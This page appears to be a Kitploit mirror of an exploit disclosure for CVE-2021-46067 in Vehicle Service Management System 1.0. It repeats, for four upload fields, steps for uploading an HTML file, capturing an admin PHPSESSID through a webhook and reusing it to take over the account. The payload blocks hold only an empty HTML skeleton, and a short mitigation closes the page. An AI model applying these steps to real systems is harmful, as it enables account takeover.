Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover — CVE-2021-46067 - In Vehicle Service Management System 1.0 an attacker can steal the cookies leading to Full Account Takeover. | Kitploit
Tools / GitHub / sanupl / vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
sanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover CVE-2021-46067 - In Vehicle Service Management System 1.0 an attacker can steal the cookies leading to Full Account Takeover.
3 4 months agoDiscover the most used tools by our community.
Last 7 Days Last 30 Days
CVE-2021-46067
Exploit Title: Vehicle Service Management System - 'Multiple' Cookie Stealing Leads to Full Account Takeover
CVE: CVE-2021-46067
CVSS: 9.8 CRITICAL
References:
Description: In Vehicle Service Management System 1.0 an attacker can steal the cookies leading to Full Account Takeover.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
Save the above html code For Ex:Cookie Stealing.html
In My Account Section enter all the required details and browse the html file in Avatar.
Click on update button.
Open the avatar image in new tab and check the Webhook status.
We got the request it contains PHPSESSID.
Copy the PHPSESSID value and open any another browser.
Visit the admin panel http://localhost/vehicle_service/admin
Check the cookie values and change the PHPSESSID value to copied PHPSESSID value.
Now access the admin panel http://localhost/vehicle_service/admin
Successfully loggedin to the account. Account Takeover Successful.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
Save the above html code For Ex:Cookie Stealing.html
In Create New User Section enter all the required details and browse the html file in Avatar.
Click on Save button.
Open the avatar image in new tab and check the Webhook status.
We got the request it contains PHPSESSID.
Copy the PHPSESSID value and open any another browser.
Visit the admin panel http://localhost/vehicle_service/admin
Check the cookie values and change the PHPSESSID value to copied PHPSESSID value.
Now access the admin panel http://localhost/vehicle_service/admin
Successfully loggedin to the account. Account Takeover Successful.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
Save the above html code For Ex:Cookie Stealing.html
In Settings Section enter all the required details and browse the html file in System Logo.
Click on update button.
Open the System Logo image in new tab and check the Webhook status.
We got the request it contains PHPSESSID.
Copy the PHPSESSID value and open any another browser.
Visit the admin panel http://localhost/vehicle_service/admin
Check the cookie values and change the PHPSESSID value to copied PHPSESSID value.
Now access the admin panel http://localhost/vehicle_service/admin
Successfully loggedin to the account. Account Takeover Successful.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
Save the above html code For Ex:Cookie Stealing.html
In Settings Section enter all the required details and browse the html file in Website Cover.
Click on update button.
Open the Website Cover image in new tab and check the Webhook status.
We got the request it contains PHPSESSID.
Copy the PHPSESSID value and open any another browser.
Visit the admin panel http://localhost/vehicle_service/admin
Check the cookie values and change the PHPSESSID value to copied PHPSESSID value.
Now access the admin panel http://localhost/vehicle_service/admin
Successfully loggedin to the account. Account Takeover Successful.
Impact: An attacker upload malicious html file it redirects to the third party website and cookies are exposed in the request. It leads to Full Account Takeover.
Mitigation: It is recommended to validate the file upload functionality and Perform Secondary Checks in the session.